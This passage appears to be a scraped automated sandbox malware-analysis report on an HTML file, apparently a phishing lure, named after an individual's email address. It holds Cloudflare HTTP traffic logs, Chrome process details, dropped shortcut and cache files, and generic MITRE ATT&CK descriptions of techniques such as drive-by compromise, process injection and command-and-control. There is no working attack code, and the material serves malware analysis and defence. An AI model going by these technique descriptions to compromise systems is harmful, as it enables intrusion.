2024-10-18 13:48:16 UTC	1272	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:16 GMT Content-Type: application/json Content-Length: 332 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Set-Cookie: cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; Domain=cloudflare.com; Path=/; HttpOnly; Secure; SameSite=Lax Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 set-cookie: google-analytics_v4_nzcr__conversionCounter=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_OwdI__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_VVgx__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_bHox__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_elKW__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: reddit_fZaD__reddit_uuid=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax
2024-10-18 13:48:16 UTC	1002	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 44 75 72 61 74 69 6f 6e 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 53 74 61 72 74 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 Data Ascii: set-cookie: google-analytics_v4_nzcr__engagementDuration=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Laxset-cookie: google-analytics_v4_nzcr__engagementStart=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSi
2024-10-18 13:48:16 UTC	1592	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 63 66 7a 5f 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 3d 25 37 42 25 32 32 4f 77 64 49 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 34 36 34 34 35 34 39 37 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 56 56 67 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 31 30 37 38 38 33 37 36 34 33 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 62 48 6f 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 Data Ascii: set-cookie: cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22
2024-10-18 13:48:16 UTC	413	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 56 62 6d 78 43 65 48 75 51 50 36 36 56 53 47 4a 74 43 47 53 31 30 33 6f 37 32 56 4a 4f 38 55 74 76 77 75 5a 4b 67 48 6d 79 38 79 67 6e 34 45 59 51 48 32 6e 76 66 58 45 36 54 30 39 31 41 67 56 36 62 41 47 70 76 75 79 41 61 38 39 7a 58 66 6a 70 4f 55 36 62 6d 41 31 43 52 44 76 51 31 53 55 47 25 32 46 74 69 65 66 73 71 51 67 32 43 70 4c 4b 25 32 42 77 65 68 41 25 32 42 73 56 47 51 43 32 49 52 50 4e 32 48 34 33 74 66 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VbmxCeHuQP66VSGJtCGS103o72VJO8UtvwuZKgHmy8ygn4EYQH2nvfXE6T091AgV6bAGpvuyAa89zXfjpOU6bmA1CRDvQ1SUG%2FtiefsqQg2CpLK%2BwehA%2BsVGQC2IRPN2H43tfA%3D%3D"}],"group":"cf-nel","max_age":
2024-10-18 13:48:16 UTC	332	IN	Data Raw: 7b 22 65 22 3a 5b 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 41 6c 6c 54 72 61 63 6b 73 5c 22 29 3b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 70 49 47 4a 5c 22 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 2c 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 5d 2c 22 66 22 3a 5b 5b 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 67 2f 63 6f 6c 6c 65 63 74 3f 74 3d 64 63 26 61 69 70 3d 31 26 5f 72 3d 33 26 76 3d 31 26 5f 76 3d 6a 38 36 26 74 69 64 3d 47 2d 50 47 56 31 4b 32 42 4e 34 4d 26 63 69 64 3d Data Ascii: {"e":["(function(w,d){w.zarazData.executed.push(\"AllTracks\");w.zarazData.executed.push(\"pIGJ\");})(window,document)","(function(w,d){})(window,document)"],"f":[["https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=

Target ID:	0
Start time:	09:47:33
Start date:	18/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\carly.joseph@everbridge.com.html"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:47:38
Start date:	18/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,15726479517035873592,16101725115558247750,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report carly.joseph@everbridge.com.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Windows Analysis Report
carly.joseph@everbridge.com.html